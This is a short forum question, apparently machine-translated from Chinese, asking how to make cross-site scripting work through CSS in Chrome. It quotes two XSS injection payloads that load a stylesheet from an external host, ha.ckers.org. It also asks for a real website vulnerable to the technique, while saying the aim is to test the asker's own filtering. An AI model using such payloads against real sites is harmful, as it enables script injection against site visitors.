任何人都可以教我如何使用CSS创建XSS。它可以是像:
<STYLE type="text/css"> BODY{ background:url("http://ha.ckers.org/xss.css")}</STYLE>
或
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
(https://gist.github.com/sseffa/11031135来源) 但是上面的编码太糟糕了也行不通。我想知道是否有一些我错过了?
我确实从其他许多地方读过Cross Site Scripting in CSS Stylesheets,但其中大部分都行不通。我测试了HTC和IE仍然无法正常工作。但实际上我希望创建一个并在Google Chrome上工作。请帮我搞定。简单会做。
或者任何人都可以使用CSS向我展示一个使用XSS的reallife网站。我需要测试我的编码是否能够阻止XSS。
抱歉我的英语不好。感谢您阅读。